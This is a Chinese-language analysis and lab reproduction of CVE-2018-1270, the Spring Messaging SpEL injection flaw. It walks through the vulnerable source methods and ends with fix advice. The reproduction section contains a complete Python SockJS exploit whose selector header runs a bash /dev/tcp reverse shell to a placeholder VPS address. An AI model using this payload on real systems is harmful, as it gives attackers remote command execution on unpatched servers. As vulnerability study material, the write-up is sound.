漏洞概述
CVE-2018-1270 是 Spring 框架中的一个高危远程代码执行(RCE)漏洞,影响版本为 Spring Framework 5.0–5.0.4 和 4.3–4.3.14。攻击者通过构造包含恶意 SpEL(Spring Expression Language)表达式的 STOMP(Simple Text-Orientated Messaging Protocol)消息,利用 Spring Messaging 模块的路径解析缺陷,触发任意代码执行。该漏洞的 核心问题在于 SpEL 表达式解析时使用了高权限的上下文环境。
技术细节分析
1. 漏洞成因
- SpEL 表达式注入
Spring Messaging 在处理 STOMP 消息的selector
头部时,直接将用户输入的值作为 SpEL 表达式解析。攻击者可通过构造形如T(java.lang.Runtime).exec("calc")
的恶意表达式注入到selector
字段,触发远程代码执行。 - 高危上下文配置
漏洞版本的DefaultSubscriptionRegistry
类使用StandardEvaluationContext
解析表达式,该上下文允许完全访问 Java 类和方法(包括反射操作)。修复后改用SimpleEvaluationContext
,仅支持基础数据绑定,限制危险操作。
2. 漏洞触发流程
- 建立 WebSocket 连接:客户端通过 SockJS 与服务器建立 WebSocket 连接,并在
CONNECT
帧的headers
中注入恶意selector
字段。 - 订阅消息:发送
SUBSCRIBE
帧时,服务端将selector
值解析为 SpEL 表达式并存储到会话中。 - 触发执行:当客户端发送
SEND
帧时,服务端调用filterSubscriptions
方法对消息进行过滤,执行存储的表达式,触发代码执行。
2.源码分析
漏洞入口点:addSubscriptionInternal
方法
代码定位:
org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry#addSubscriptionInternal
源码:
protected void addSubscriptionInternal(String sessionId, String subsId, String destination, Message<?> message) {
Expression expression = null;
MessageHeaders headers = message.getHeaders();
String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), (Map)headers);
if (selector != null) {
try {
expression = this.expressionParser.parseExpression(selector);//解析表达式
this.selectorHeaderInUse = true;
if (this.logger.isTraceEnabled()) {
this.logger.trace("Subscription selector: [" + selector + "]");
}
}
catch (Throwable ex) {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Failed to parse selector: " + selector, ex);
}
}
}
this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);//将表达式存储到会话中。
this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);
}
触发条件:
当客户端通过 STOMP 协议向服务端发送 SUBSCRIBE
帧时,服务端处理订阅请求的逻辑会调用此方法。
关键逻辑:
- 从客户端请求头中提取
selector
字段的值。 - 将
selector
的值作为 SpEL 表达式进行解析:expression = this.expressionParser.parseExpression(selector);
- 将解析后的表达式与订阅信息(会话 ID、订阅 ID、目标地址)一起存储到内存中:
this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
漏洞入口特性:
- 用户可控输入:
selector
字段完全由攻击者构造(如T(java.lang.Runtime).exec("calc")
)。 - 高危上下文:使用
StandardEvaluationContext
(默认支持反射、类加载等危险操作)。 - 无过滤机制:未对
selector
进行任何合法性校验或关键字过滤。
表达式执行点:filterSubscriptions
方法
代码定位:
org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry#filterSubscriptions
源码:
private MultiValueMap<String, String> filterSubscriptions(MultiValueMap<String, String> allMatches, Message<?> message) {
if (!this.selectorHeaderInUse) {
return allMatches;
}
EvaluationContext context = null;
LinkedMultiValueMap linkedMultiValueMap = new LinkedMultiValueMap(allMatches.size());
for (String sessionId : allMatches.keySet()) {
for (String subId : allMatches.get(sessionId)) {
StandardEvaluationContext standardEvaluationContext; SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId);
if (info == null) {
continue;
}
Subscription sub = info.getSubscription(subId);
if (sub == null) {
continue;
}
Expression expression = sub.getSelectorExpression();//获取表达式
if (expression == null) {
linkedMultiValueMap.add(sessionId, subId);
continue;
}
if (context == null) {
standardEvaluationContext = new StandardEvaluationContext(message);//执行表达式
standardEvaluationContext.getPropertyAccessors().add(new SimpMessageHeaderPropertyAccessor());
}
try {
if (Boolean.TRUE.equals(expression.getValue((EvaluationContext)standardEvaluationContext, Boolean.class))) {
linkedMultiValueMap.add(sessionId, subId);
}
}
catch (SpelEvaluationException ex) {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Failed to evaluate selector: " + ex.getMessage());
}
}
catch (Throwable ex) {
this.logger.debug("Failed to evaluate selector", ex);
}
}
}
return (MultiValueMap<String, String>)linkedMultiValueMap;
}
触发条件:
当服务端收到 SEND
帧(即向订阅目标地址发送消息)时,服务端会遍历所有订阅该地址的客户端,并根据其订阅时指定的 selector
表达式进行消息过滤。
关键逻辑:
- 从订阅信息中获取存储的 SpEL 表达式。
- 使用
StandardEvaluationContext
执行表达式:standardEvaluationContext = new StandardEvaluationContext(message);
漏洞触发特性:
- 表达式动态执行:存储的恶意表达式在此处被实际执行。
- 上下文绑定消息对象:
EvaluationContext
绑定了当前消息对象(message
),为攻击者提供更多利用可能。
方法关系与漏洞触发流程
1. 依赖关系:
时序依赖:
addSubscriptionInternal
是前置操作(订阅阶段),filterSubscriptions
是后续操作。
漏洞利用必须通过 先订阅后发送消息 的流程完成。数据依赖:
filterSubscriptions
中执行的表达式来源于addSubscriptionInternal
阶段存储的expression
对象。
2. 攻击链时序:
客户端发送 SUBSCRIBE 帧(携带恶意 selector)
→ addSubscriptionInternal 解析并存储表达式
→ 服务端收到 SEND 帧
→ filterSubscriptions 执行存储的表达式
→ 触发 RCE
漏洞复现
环境搭建
使用 Vulhub 提供的 Docker 环境:
cd vulhub/spring/CVE-2018-1270
docker-compose up -d
访问 http://target:8080
启动存在漏洞的 Spring STOMP 示例。
攻击步骤(反弹shell)
1.kali
攻击机开启监听
2.使用python
脚本发送恶意请求
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time() * 1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://靶场ip:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/vps的ip/vps端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)
靶场ip和监听地址和端口改为自己的
3.执行脚本并验证
- 反弹shell成功
修复建议
- 升级版本
- Spring Framework 5.0.x 用户升级至 5.0.5。
- Spring Framework 4.3.x 用户升级至 4.3.15 或更高版本。
- 输入过滤
对selector
头部进行正则校验,禁止包含T()
、.
等 SpEL 关键字。 - 禁用高风险功能
若非必要,关闭基于 STOMP 的消息路由功能。
总结
CVE-2018-1270 的根源在于 Spring Messaging 对用户输入的过度信任与高危上下文的结合。其修复方案通过限制表达式执行权限,有效降低了攻击面。
参考链接